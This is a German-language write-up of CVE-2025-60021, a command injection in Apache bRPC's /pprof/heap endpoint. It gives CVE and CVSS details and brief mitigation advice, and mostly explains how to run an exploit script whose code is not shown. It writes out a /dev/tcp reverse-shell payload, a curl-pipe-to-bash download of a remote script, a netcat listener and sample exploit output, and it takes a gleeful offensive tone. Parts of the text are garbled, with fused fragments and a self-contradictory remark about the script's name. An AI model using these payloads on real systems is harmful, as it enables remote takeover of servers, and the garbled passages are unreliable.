
CVE-2025-60021

CVE-2025-60021 ist eine kritische Remote-Befehlsinjektions-Schwachstelle im integrierten Heap-Profiler-Dienst (/pprof/heap) von Apache bRPC in Versionen vor 1.15.0, die es nicht authentifizierten Angreifern ermöglicht, beliebige Betriebssystembefehle auszuführen. (NVD)
| Attribut | Informationen |
|---|---|
| Name / ID | CVE-2025-60021 |
| Produkt | Apache bRPC (alle Plattformen) |
| Betroffene Versionen | < 1.15.0 |
| Veröffentlichungsdatum | 16. Januar 2026 (NVD) |
| Schwachstellentyp | Remote-Befehlsinjektion (CWE-77) (NVD) |
| Endpunkt | /pprof/heap |
| Auslöser | Unbereinigter extra_options-Parameter |
| Ursache | Eingabe wird vor der Ausführung als Betriebssystembefehl nicht validiert (openwall.com) |
❗Angreifer können durch bloßes Manipulieren dieses Profiling-Parameters remote Befehle einschleusen.
🔥 Schweregrad: Kritisch
📊 CVSS v3.1-Basiswert: 9,8 / 10
Vektor: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (INCIBE)
👉 Das bedeutet, Angreifer können ohne Anmeldung remote beliebige Befehle ausführen – ein Worst-Case-Szenario für exponierte Dienste.
/pprof/heap) bereit, der für die Speicheranalyse (jemalloc) gedacht ist. (openwall.com)extra_options-Parameter. Statt ihn zu bereinigen, übergibt bRPC ihn direkt an die Betriebssystem-Shell. (openwall.com)Dies setzt voraus, dass du das Skript als CVE-2025-60021.py gespeichert hast (auch wenn die echte CVE die 2025-60021 ist – du kannst es gerne umbenennen). Es ist ein Python-3-Skript zur Demonstration der Remote-Befehlsinjektions-Schwachstelle im Heap-Profiler von Apache bRPC. Führe es nur auf Systemen aus, die dir gehören oder für die du eine ausdrückliche schriftliche Testgenehmigung hast – Ausnutzung ohne Autorisierung ist illegal.
Python-Umgebung: Stelle sicher, dass Python 3 installiert ist (z. B. 3.6+). Das Skript verwendet eingebaute Module sowie requests und argparse (die Standard sind bzw. einfach zu installieren).
Abhängigkeiten installieren: Falls noch nicht vorhanden, installiere die requests-Bibliothek:
pip install requests
Ziel einrichten: Du benötigst einen verwundbaren Apache-bRPC-Server:
http://localhost:8060 oder eine entfernte IP/Port).
Wenn du lokal testest, richte eine verwundbare bRPC-Instanz ein (z. B. über Docker oder einen Quellcode-Build – siehe Apache-bRPC-Dokumentation).Berechtigungen: Verwende sudo nur, wenn es für den Netzwerkzugriff oder Berechtigungen nötig ist; andernfalls reicht einfaches python3.
Kopiere den zuvor bereitgestellten PoC-Code in eine Datei mit dem Namen CVE-2025-60021.py. Mache sie bei Bedarf ausführbar:
chmod +x CVE-2025-60021.py
Das Skript benötigt zwei positionsbasierte Pflichtargumente:
target: Die URL des verwundbaren bRPC-Servers (z. B. http://192.168.1.100:8060 oder http://targets:8060 – korrigiere Tippfehler wie fehlendes Schema oder ungültigen Host).cmd: Der Befehl, der auf dem Ziel ausgeführt werden soll (z. B. "id" für Benutzerinformationen oder etwas Komplexeres wie "curl http://your-server/reverse-shell.sh | bash" für eine Reverse Shell). Verwende && oder ;, um mehrere Befehle zu verketten.Öffne ein Terminal (z. B. in Kali Linux, da du das verwendest) und führe es mit deinem Ziel und Befehl aus. Beispielbefehle:
Basistest (Systeminformationen abrufen):
sudo python3 CVE-2025-60021.py http://targets:8060 "id && whoami && uname -a"
Reverse-Shell-Beispiel (ersetze your-listener-ip und Port; richte zuerst einen Listener wie nc -lvnp 4444 ein):
sudo python3 CVE-2025-60021.py http://targets:8060 "bash -i >& /dev/tcp/your-listener-ip/4444 0>&1"
Wenn du HTTPS oder einen anderen Port verwendest, passe die URL entsprechend an (z. B. https://target:443 – das Skript kommt damit klar, aber füge bei Zertifikatsproblemen --insecure hinzu).
Erfolgsindikatoren:
uid=0(root)..., wenn id ausgeführt wurde).Fehlerindikatoren (wie du sie gesehen hast):
--enable_heap_profiler=true) und starte den Server neu.cmd-Argument vergessen – immer mit angeben.echo "test" > /tmp/proof.txt) und prüfe die Datei auf dem Ziel.; nicht funktioniert, versuche && oder | zum Verketten. Kodiere Sonderzeichen bei Bedarf per URL-Encoding (das Skript erledigt das meiste)./pprof/heap.Wenn der Exploit auf einem verwundbaren Ziel erfolgreich war (z. B. Heap-Profiler aktiviert, ungepatchtes bRPC < 1.15.0), würde die Ausgabe in deinem Terminal ungefähr so aussehen (die genauen Details hängen von der Standardausgabe des Befehls und der Serverkonfiguration ab):
[*] Sending payload to: http://targets:8060/pprof/heap?extra_options=%3B+id+%26%26+whoami+%26%26+uname+-a+%23
[*] Executing command: id && whoami && uname -a
[+] Exploit likely succeeded! (200 OK)
[+] Check your listener / server logs for output
Response body (possible command output):
uid=1000(user) gid=1000(user) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lpadmin),126(sambashare)
user
Linux target-host 5.10.0-21-amd64 #1 SMP Debian 5.10.162-1 (2023-01-29) x86_64 GNU/Linux
[followed by heap profile data or binary-ish output from jemalloc, like memory stats or a dump]
Die wichtigsten Anzeichen: 200-OK-Status, und wenn dein Befehl (wie id && whoami && uname -a) eine Ausgabe erzeugt, könnte diese im Antwortkörper erscheinen (vermischt mit Profiler-Datenmüll). Bei stillen Befehlen (z. B. Reverse Shell) prüfe den Zielserver oder deinen Listener auf Aktivität – es gibt keine direkte Terminalbestätigung über die 200 hinaus. 😈
/pprof/heap aus nicht vertrauenswürdigen Netzwerken blockieren.✔ Angreifer brauchen keine Zugangsdaten. ✔ Es funktioniert über das Netzwerk. ✔ Es betrifft alle Plattformen, die verwundbares bRPC verwenden. ✔ Es kann zu vollständiger Systemkompromittierung führen.
Unternehmen, die bRPC für kritische Dienste (z. B. Suche, Speicherung, Machine-Learning-Pipelines) einsetzen, sind besonders gefährdet, weil dieser Fehler ein Diagnosewerkzeug in einen Angriffsvektor verwandelt. (Daily CyberSecurity)
⚠ EPSS (Exploit Prediction): Einige Feeds deuten auf bisher geringe Exploit-Beobachtung hin, aber die einfache Ausnutzbarkeit bedeutet, dass sie schnell in echten Angriffen genutzt werden könnte. (Tenable®)
📌 Klassifizierung: CWE-77 — Nicht ordnungsgemäße Neutralisierung spezieller Elemente in einem Befehl (Befehlsinjektion). (NVD)
Wenn du Apache bRPC in der Produktion betreibst — sofort patchen und den Zugriff auf Diagnose-Endpunkte einschränken, um das Risiko zu reduzieren.
| Auswirkungskategorie | Auswirkung |
|---|
| Vertraulichkeit | Hoch | |
| Integrität | Hoch | |
| Verfügbarkeit | Hoch | |
| Angriffsvektor | Netzwerk | |
| Berechtigungen | Keine erforderlich | |
| Benutzerinteraktion | Keine nötig | (INCIBE) |